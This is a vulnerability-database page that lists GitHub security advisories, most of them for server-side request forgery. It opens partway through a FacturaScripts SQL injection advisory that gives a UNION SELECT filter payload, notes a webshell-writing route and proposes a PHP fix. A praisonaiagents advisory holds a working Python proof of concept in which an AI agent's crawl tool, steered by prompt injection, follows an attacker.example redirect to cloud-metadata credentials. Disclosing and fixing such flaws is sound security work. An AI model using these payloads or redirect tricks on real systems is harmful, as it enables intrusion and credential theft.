`Core/Base/Controller::privateCore` accepts as the session token (`User::verifyLogkey` is a plain string equality, `Core/Model/User.php:403-406`). Setting `fsNick=admin` and `fsLogkey=\u003cleaked\u003e` on any HTTP client returns 200 on every admin endpoint, including `/AdminPlugins` (install arbitrary plugin code), `/EditUser?code=admin` (rotate the admin password), `/EditEmpresa` (data-plane writes), `/Cron` (server-side code execution via cron job extension).\n* **Stealthy.** Successful UNION queries do not produce `Tools::log()-\u003eerror` entries (no SQL syntax error, no MariaDB warning); the framework only writes log rows on failed SQL. The attacker\u0027s queries leave no FacturaScripts log trail. The `api_keys` row is touched by the normal `updateActivity()` write the API does on every authenticated call, which looks identical to legitimate scoped-token usage.\n* **Reachable from internet.** API access is on by default once the operator either sets `FS_API_KEY` or flips `Default -\u003e Enable API` in the admin UI. The recommended deployment guidance for vendors integrating with FacturaScripts is to issue a scoped key, exactly the privilege level required for this exploit.\n* **The same primitive lets an attacker rewrite data.** Because `(` `)` exemption is in `Where::sqlColumn` itself, write paths that build `WHERE` clauses from caller-controlled identifiers are equally exposed; the attacker can instead use `UPDATE ... WHERE` style payloads via stacked queries on engines that allow them, or use `SELECT ... INTO OUTFILE` on MySQL installations with `FILE` privilege to write a webshell into the docroot. The CVSS scoring already assumes integrity impact `H` for these reasons.\n\n`AV:N` (network), `AC:L` (one HTTP GET, no oracle, no specific timing), `PR:L` (any non-`fullaccess` ApiKey with one allowed resource), `UI:N`, `S:C` (the vulnerable component is the API; the impact reaches the whole user database, web sessions, and authenticated control plane), `C:H I:H A:H`. Score `9.9`. The `S:C` (scope change) is appropriate because the privilege boundary the attacker crosses is the operator\u0027s intent of \"this token can only read clientes\", which the API contract explicitly enforces in its 403 response on `/users`. The leaked credential then gives them admin reach in a different security zone (the web UI session, the plugin manager).\n\n## Recommended Fix\n\nThe bug is squarely in `Core/Where.php::sqlColumn`. The attacker-controlled-identifier path needs a strict allow-list, and the API ingress paths need their own field-name validator that mirrors the autocomplete hardening already in `Core/Lib/ExtendedController/BaseController::autocompleteAction` (commit `b8aa78b`).\n\n1. **Replace the parenthesis presence test with a structural parser.** `Where::sqlColumn` should refuse anything that is not one of: a bare identifier (matching `^[a-zA-Z_][a-zA-Z0-9_]*(\\.[a-zA-Z_][a-zA-Z0-9_]*)?$`), `LOWER(\u003cident\u003e)`, `UPPER(\u003cident\u003e)`, `CAST(\u003cident\u003e AS \u003ctype\u003e)`, or `COALESCE(\u003cident\u003e, \u003cliteral\u003e)`. The grammar already exists in `DbQuery::orderBy` (lines 289-307) and just needs to be reused. Anything else is escaped through `db()-\u003eescapeColumn()` (which already handles dotted identifiers correctly):\n\n   ```php\n   private static function sqlColumn(string $field): string\n   {\n       $field = trim($field);\n\n       // bare identifier or table.column\n       if (preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*(?:\\.[a-zA-Z_][a-zA-Z0-9_]*)?$/\u0027, $field)) {\n           return self::db()-\u003eescapeColumn($field);\n       }\n\n       // limited expression whitelist (mirrors DbQuery::orderBy)\n       if (preg_match(\u0027/^(LOWER|UPPER)\\(([a-zA-Z_][a-zA-Z0-9_]*(?:\\.[a-zA-Z_][a-zA-Z0-9_]*)?)\\)$/i\u0027, $field, $m)) {\n           return strtoupper($m[1]) . \u0027(\u0027 . self::db()-\u003eescapeColumn($m[2]) . \u0027)\u0027;\n       }\n\n       if (preg_match(\u0027/^CAST\\(([a-zA-Z_][a-zA-Z0-9_]*(?:\\.[a-zA-Z_][a-zA-Z0-9_]*)?) AS ([a-zA-Z0-9_ ]+)\\)$/i\u0027, $field, $m)) {\n           return \u0027CAST(\u0027 . self::db()-\u003eescapeColumn($m[1]) . \u0027 AS \u0027 . $m[2] . \u0027)\u0027;\n       }\n\n       // legacy prefixes\n       if (str_starts_with($field, \u0027integer:\u0027)) {\n           return self::db()-\u003ecastInteger(substr($field, 8));\n       }\n       if (str_starts_with($field, \u0027lower:\u0027)) {\n           return \u0027LOWER(\u0027 . self::db()-\u003eescapeColumn(substr($field, 6)) . \u0027)\u0027;\n       }\n       if (str_starts_with($field, \u0027upper:\u0027)) {\n           return \u0027UPPER(\u0027 . self::db()-\u003eescapeColumn(substr($field, 6)) . \u0027)\u0027;\n       }\n\n       // refuse anything else\n       throw new Exception(\u0027Invalid column expression: \u0027 . $field);\n   }\n   ```\n\n   The change is local; every call site in the framework already passes either a bare identifier or one of the supported expression prefixes. A grep for `\u0027(...)\u0027` style identifiers across the codebase shows zero hits in `Core/`.\n\n2. **Validate filter keys at the API ingress.** Even after (1), the API `getWhereValues` should refuse identifiers that are not bare columns, mirroring `BaseController::autocompleteAction:258-261`:\n\n   ```php\n   foreach ($filter as $key =\u003e $value) {\n       $field = $key;\n       // strip operator suffixes (existing code) ...\n\n       if (!preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*(?:\\.[a-zA-Z_][a-zA-Z0-9_]*)?$/\u0027, $field)) {\n           Tools::log(\u0027api\u0027)-\u003ewarning(\u0027api: invalid filter field name: \u0027 . $field);\n           continue;                                            // skip the bad filter\n       }\n\n       // ... remaining code\n   }\n   ```\n\n   Apply the same patch to `ApiAttachedFiles::getWhereValues:172-239`. This is defence-in-depth - the actual fix is (1) - but matches the project\u0027s existing hardening pattern from commit `b8aa78b`.\n\n3. **Rotate session tokens on detected SQL injection attempts.** Once exploitation is detected (the new validator at (2) logs the attempt), the implementation should call `Cron::log` to throttle the originating IP and queue a rotation of `User::logkey` for any user whose `password` or `logkey` columns were potentially leaked. Operators that have shipped this version with API enabled should rotate every user\u0027s password and assume credentials in the database have been read.\n\nA regression test should issue `GET /api/3/clientes?filter[(0)UNION SELECT 1,...]=x` with a scoped token and assert the response is an empty array (because the bad filter was discarded) and that `Tools::log(\u0027api\u0027)-\u003eread()` contains the new \"invalid filter field name\" warning.",
  "id": "GHSA-5qmh-x653-g8qj",
  "modified": "2026-07-14T17:11:06Z",
  "published": "2026-07-14T17:11:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-5qmh-x653-g8qj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NeoRazorX/facturascripts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn`"
}

GHSA-5QMX-Q2QR-MCR2

Vulnerability from github – Published: 2025-07-25 21:33 – Updated: 2025-07-25 21:33
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (EPS Server modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-52455"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-25T19:15:41Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (EPS Server modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.",
  "id": "GHSA-5qmx-q2qr-mcr2",
  "modified": "2025-07-25T21:33:50Z",
  "published": "2025-07-25T21:33:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52455"
    },
    {
      "type": "WEB",
      "url": "https://help.salesforce.com/s/articleView?id=005105043\u0026type=1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5QVP-8272-9F7R

Vulnerability from github – Published: 2026-09-23 00:31 – Updated: 2026-09-23 00:31
VLAI
Details

IBM Concert 1.0.0 through 3.0.0 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-16426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T22:17:06Z",
    "severity": "MODERATE"
  },
  "details": "IBM Concert 1.0.0 through 3.0.0 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-5qvp-8272-9f7r",
  "modified": "2026-09-23T00:31:13Z",
  "published": "2026-09-23T00:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16426"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7288830"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5QWR-M3VG-GJ86

Vulnerability from github – Published: 2025-12-26 03:30 – Updated: 2025-12-26 03:30
VLAI
Details

A vulnerability was determined in YunaiV yudao-cloud up to 2025.11. This affects the function BpmHttpCallbackTrigger/BpmSyncHttpRequestTrigger of the component Business Process Management. Executing manipulation of the argument url/header/body can lead to server-side request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-15098"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-26T03:15:50Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in YunaiV yudao-cloud up to 2025.11. This affects the function BpmHttpCallbackTrigger/BpmSyncHttpRequestTrigger of the component Business Process Management. Executing manipulation of the argument url/header/body can lead to server-side request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-5qwr-m3vg-gj86",
  "modified": "2025-12-26T03:30:16Z",
  "published": "2025-12-26T03:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15098"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AnalogyC0de/public_exp/blob/main/archives/yudao-cloud-bpm_SSRF/report.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AnalogyC0de/public_exp/blob/main/archives/yudao-cloud-bpm_SSRF/report.md#proof-of-concept"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.338429"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.338429"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.710170"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5R34-2G38-6569

Vulnerability from github – Published: 2026-08-25 14:05 – Updated: 2026-08-25 14:05
VLAI
Summary
praisonaiagents web_crawl vulnerable to SSRF via redirect-following
Details

Summary

web_crawl (an exported, model-callable tool) validates only the INITIAL URL's resolved IP against a private/loopback blocklist, then fetches with httpx.Client(follow_redirects=True) and never re-validates redirect targets.

An attacker who controls the agent's crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata 169.254.169.254, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier web_crawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock pip install praisonaiagents, so no provider configuration is required.

Details

  1. The agent is asked (or prompt-injected) to crawl https://attacker.example/r, which the source accepts because attacker.example resolves to a public IP.
  2. The attacker server responds 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>.
  3. _crawl_with_httpx follows the redirect with follow_redirects=True, fetches the IAM credential document, and web_crawl returns it in the result content field, where it enters the agent context and any downstream tool, log, or model response.

The same technique reaches http://127.0.0.1:<port>/ internal services and other link-local and RFC1918 hosts

Source (validates only the initial hostname)

# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:231

ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:
    logger.warning(f"Rejected SSRF or private IP attempt: {u}")
    continue

Sink (follows redirects with no re-validation)

# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:142

import httpx
with httpx.Client(follow_redirects=True, timeout=30.0) as client:
       response = client.get(url)
       response.raise_for_status()
       content = response.text

PoC

Dependencies: pip install praisonaiagents==1.6.52 httpx

Preconditions: - The agent has the web_crawl tool registered, which is a standard exported tool. - The default crawl provider httpx is selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install). - ALLOW_LOCAL_CRAWL is not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass. - The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).

"""Direct loopback is blocked; a public redirector to loopback is not."""
import http.server, json, socket, threading, urllib.parse
from praisonaiagents.tools import web_crawl

SECRET = "INTERNAL-ONLY-IAM-CREDENTIAL-zzz"

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(SECRET.encode())
    def log_message(self, *a): pass

s = socket.socket(); s.bind(("127.0.0.1", 0)); port = s.getsockname()[1]; s.close()
srv = http.server.HTTPServer(("127.0.0.1", port), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
internal = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/"

control = web_crawl(internal)                       # front-door blocks loopback
leaked = lambda r: SECRET in json.dumps(r)
redirector = "https://httpbin.org/redirect-to?" + urllib.parse.urlencode(
    {"url": internal, "status_code": "302"})        # public host -> 302 -> internal
exploit = web_crawl(redirector)
srv.shutdown()
print("control_leaked", leaked(control), "| exploit_leaked", leaked(exploit))
assert not leaked(control) and leaked(exploit)
print("CONFIRMED: internal secret exfiltrated via redirect, front-door bypassed")

Impact

Any attacker who can influence an agent's crawl target (a crafted task, or prompt injection in any page the agent crawls) reads internal-only resources through the agent. On a cloud host this discloses the instance metadata service IAM credentials, giving the attacker the agent host's cloud role; it also reaches localhost admin services and internal APIs. The fetched body is returned into the agent context, so it is exposed to the model, logs, and downstream tools. The SSRF protection that the earlier web_crawl advisories added is fully enabled and still bypassed.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:05:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`web_crawl` (an exported, model-callable tool) validates only the INITIAL URL\u0027s resolved IP against a private/loopback blocklist, then fetches with `httpx.Client(follow_redirects=True)` and never re-validates redirect targets. \n\nAn attacker who controls the agent\u0027s crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata `169.254.169.254`, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier web_crawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock `pip install praisonaiagents`, so no provider configuration is required.\n\n\n### Details\n\n1. The agent is asked (or prompt-injected) to crawl `https://attacker.example/r`, which the source accepts because `attacker.example` resolves to a public IP.\n2. The attacker server responds 302 Location: `http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e`. \n3. `_crawl_with_httpx` follows the redirect with `follow_redirects=True`, fetches the IAM credential document, and `web_crawl` returns it in the result content field, where it enters the agent context and any downstream tool, log, or model response. \n\nThe same technique reaches `http://127.0.0.1:\u003cport\u003e/` internal services and other link-local and RFC1918 hosts\n\n**Source (validates only the initial hostname)**\n```python\n# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:231\n\nip_str = socket.gethostbyname(hostname)\nip = ipaddress.ip_address(ip_str)\nif ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:\n    logger.warning(f\"Rejected SSRF or private IP attempt: {u}\")\n    continue\n```\n\n\n**Sink (follows redirects with no re-validation)**\n```python\n# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:142\n\nimport httpx\nwith httpx.Client(follow_redirects=True, timeout=30.0) as client:\n       response = client.get(url)\n       response.raise_for_status()\n       content = response.text\n```\n\n### PoC\nDependencies: `pip install praisonaiagents==1.6.52` `httpx`\n\nPreconditions:\n- The agent has the `web_crawl` tool registered, which is a standard exported tool. \n- The default crawl provider `httpx` is selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install). \n- `ALLOW_LOCAL_CRAWL` is not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass. \n- The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).\n\n```python\n\"\"\"Direct loopback is blocked; a public redirector to loopback is not.\"\"\"\nimport http.server, json, socket, threading, urllib.parse\nfrom praisonaiagents.tools import web_crawl\n\nSECRET = \"INTERNAL-ONLY-IAM-CREDENTIAL-zzz\"\n\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.end_headers(); self.wfile.write(SECRET.encode())\n    def log_message(self, *a): pass\n\ns = socket.socket(); s.bind((\"127.0.0.1\", 0)); port = s.getsockname()[1]; s.close()\nsrv = http.server.HTTPServer((\"127.0.0.1\", port), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\ninternal = f\"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/\"\n\ncontrol = web_crawl(internal)                       # front-door blocks loopback\nleaked = lambda r: SECRET in json.dumps(r)\nredirector = \"https://httpbin.org/redirect-to?\" + urllib.parse.urlencode(\n    {\"url\": internal, \"status_code\": \"302\"})        # public host -\u003e 302 -\u003e internal\nexploit = web_crawl(redirector)\nsrv.shutdown()\nprint(\"control_leaked\", leaked(control), \"| exploit_leaked\", leaked(exploit))\nassert not leaked(control) and leaked(exploit)\nprint(\"CONFIRMED: internal secret exfiltrated via redirect, front-door bypassed\")\n```\n\n### Impact\nAny attacker who can influence an agent\u0027s crawl target (a crafted task, or prompt injection in any page the agent crawls) reads internal-only resources through the agent. On a cloud host this discloses the instance metadata service IAM credentials, giving the attacker the agent host\u0027s cloud role; it also reaches localhost admin services and internal APIs. The fetched body is returned into the agent context, so it is exposed to the model, logs, and downstream tools. The SSRF protection that the earlier web_crawl advisories added is fully enabled and still bypassed.",
  "id": "GHSA-5r34-2g38-6569",
  "modified": "2026-08-25T14:05:38Z",
  "published": "2026-08-25T14:05:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5r34-2g38-6569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents web_crawl vulnerable to SSRF via redirect-following"
}

GHSA-5R44-73X5-FMPR

Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-05-24 19:16
VLAI
Details

An issue was discovered in Zammad before 4.1.1. SSRF can occur via GitHub or GitLab integration.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-42091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-07T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Zammad before 4.1.1. SSRF can occur via GitHub or GitLab integration.",
  "id": "GHSA-5r44-73x5-fmpr",
  "modified": "2022-05-24T19:16:51Z",
  "published": "2022-05-24T19:16:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42091"
    },
    {
      "type": "WEB",
      "url": "https://zammad.com/en/advisories/zaa-2021-08"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-5R6Q-CG35-JR9Q

Vulnerability from github – Published: 2025-12-29 21:30 – Updated: 2025-12-30 18:30
VLAI
Details

A critical vulnerability has been identified in givanz VvvebJs 1.7.2, which allows both Server-Side Request Forgery (SSRF) and arbitrary file reading. The vulnerability stems from improper handling of user-supplied URLs in the "file_get_contents" function within the "save.php" file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-25181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-29T20:15:40Z",
    "severity": "CRITICAL"
  },
  "details": "A critical vulnerability has been identified in givanz VvvebJs 1.7.2, which allows both Server-Side Request Forgery (SSRF) and arbitrary file reading. The vulnerability stems from improper handling of user-supplied URLs in the \"file_get_contents\" function within the \"save.php\" file.",
  "id": "GHSA-5r6q-cg35-jr9q",
  "modified": "2025-12-30T18:30:16Z",
  "published": "2025-12-29T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25181"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/joaoviictorti/69cbae23d98fb9a1a4b3eee0c305c7de"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5RM6-JPQ7-CQ95

Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 00:31
VLAI
Details

The Gutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.1.3 via the save_ai_generated_image() function. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-10586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-05T00:16:57Z",
    "severity": "HIGH"
  },
  "details": "The Gutenberg Essential Blocks \u2013 Page Builder for Gutenberg Blocks \u0026 Patterns plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.1.3 via the `save_ai_generated_image()` function. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-5rm6-jpq7-cq95",
  "modified": "2026-06-05T00:31:52Z",
  "published": "2026-06-05T00:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10586"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-blocks/tags/6.1.3/includes/Integrations/AI/AI.php#L171"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/08906577-162c-4875-b16c-18d4912c2611?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5RQ9-69W6-223Q

Vulnerability from github – Published: 2026-07-23 12:32 – Updated: 2026-07-23 12:32
VLAI
Details

Author Server Side Request Forgery (SSRF) in Complianz <= 7.5.0 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-65496"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-23T12:18:42Z",
    "severity": "MODERATE"
  },
  "details": "Author Server Side Request Forgery (SSRF) in Complianz \u003c= 7.5.0 versions.",
  "id": "GHSA-5rq9-69w6-223q",
  "modified": "2026-07-23T12:32:29Z",
  "published": "2026-07-23T12:32:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65496"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/complianz-gdpr/vulnerability/wordpress-complianz-plugin-7-5-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5RQP-FX48-4MVW

Vulnerability from github – Published: 2022-07-27 00:00 – Updated: 2022-08-03 00:00
VLAI
Details

Affected versions of Atlassian Jira Service Management Server and Data Center allow authenticated remote attackers to access the content of internal network resources via a Server-Side Request Forgery (SSRF) vulnerability in the CSV importing feature of JSM Insight. When running in an environment like Amazon EC2, this flaw may be used to access to a metadata resource that provides access credentials and other potentially confidential information. The affected versions are before version 4.13.20, from version 4.14.0 before 4.20.8, and from version 4.21.0 before 4.22.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-43959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-26T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Affected versions of Atlassian Jira Service Management Server and Data Center allow authenticated remote attackers to access the content of internal network resources via a Server-Side Request Forgery (SSRF) vulnerability in the CSV importing feature of JSM Insight. When running in an environment like Amazon EC2, this flaw may be used to access to a metadata resource that provides access credentials and other potentially confidential information. The affected versions are before version 4.13.20, from version 4.14.0 before 4.20.8, and from version 4.21.0 before 4.22.2.",
  "id": "GHSA-5rqp-fx48-4mvw",
  "modified": "2022-08-03T00:00:58Z",
  "published": "2022-07-27T00:00:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43959"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/JSDSERVER-11898"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.